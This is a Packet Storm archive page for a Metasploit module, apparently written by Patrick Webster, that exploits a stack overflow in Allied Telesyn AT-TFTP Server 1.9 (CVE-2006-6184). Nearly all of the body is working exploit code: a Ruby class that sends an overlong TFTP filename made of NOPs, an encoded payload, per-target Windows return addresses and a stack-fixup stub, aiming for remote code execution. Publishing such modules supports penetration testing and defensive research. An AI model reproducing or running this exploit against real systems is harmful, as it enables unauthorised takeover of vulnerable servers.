exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Allied Telesyn TFTP Server 1.9 Long Filename Overflow

Allied Telesyn TFTP Server 1.9 Long Filename Overflow
Posted Nov 26, 2009
Authored by Patrick Webster | Site metasploit.com

This Metasploit module exploits a stack overflow in AT-TFTP v1.9, by sending a request (get/write) for an overly long file name.

tags | exploit, overflow
advisories | CVE-2006-6184
SHA-256 | c485cdfe9f1d2432b1537fb84ec5ea7062f793592929aba3668b651348caba32

Allied Telesyn TFTP Server 1.9 Long Filename Overflow

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Udp

def initialize(info = {})
super(update_info(info,
'Name' => 'Allied Telesyn TFTP Server 1.9 Long Filename Overflow',
'Description' => %q{
This module exploits a stack overflow in AT-TFTP v1.9, by sending a
request (get/write) for an overly long file name.
},
'Author' => [ 'Patrick Webster <patrick[at]aushack.com>' ],
'Version' => '$Revision$',
'References' =>
[
['CVE', '2006-6184'],
['OSVDB', '11350'],
['BID', '21320'],
['URL','http://milw0rm.com/exploits/2887'],
['URL', 'ftp://guest:guest@ftp.alliedtelesyn.co.uk/pub/utilities/at-tftpd.exe'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 210,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
# Patrick - Tested OK w2k sp0, sp4, xp sp 0, xp sp2 - en 2007/08/24
[ 'Windows NT SP4 English', { 'Ret' => 0x702ea6f7 } ],
[ 'Windows 2000 SP0 English', { 'Ret' => 0x750362c3 } ],
[ 'Windows 2000 SP1 English', { 'Ret' => 0x75031d85 } ],
[ 'Windows 2000 SP2 English', { 'Ret' => 0x7503431b } ],
[ 'Windows 2000 SP3 English', { 'Ret' => 0x74fe1c5a } ],
[ 'Windows 2000 SP4 English', { 'Ret' => 0x75031dce } ],
[ 'Windows XP SP0/1 English', { 'Ret' => 0x71ab7bfb } ],
[ 'Windows XP SP2 English', { 'Ret' => 0x71ab9372 } ],
],
'Privileged' => false,
'DisclosureDate' => 'Nov 27 2006'))

register_options(
[
Opt::RPORT(69),
Opt::LHOST() # Required for stack offset
], self.class)
end

def autofilter
false
end

def exploit
connect_udp

sploit = "\x00\x02" + make_nops(25 - datastore['LHOST'].length)
sploit << payload.encoded
sploit << [target['Ret']].pack('V') # <-- eip = jmp esp. we control it.
sploit << "\x83\xc4\x28\xc3" # <-- esp = add esp 0x28 + retn
sploit << "\x00" + "netascii" + "\x00"

udp_sock.put(sploit)

disconnect_udp
end

end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close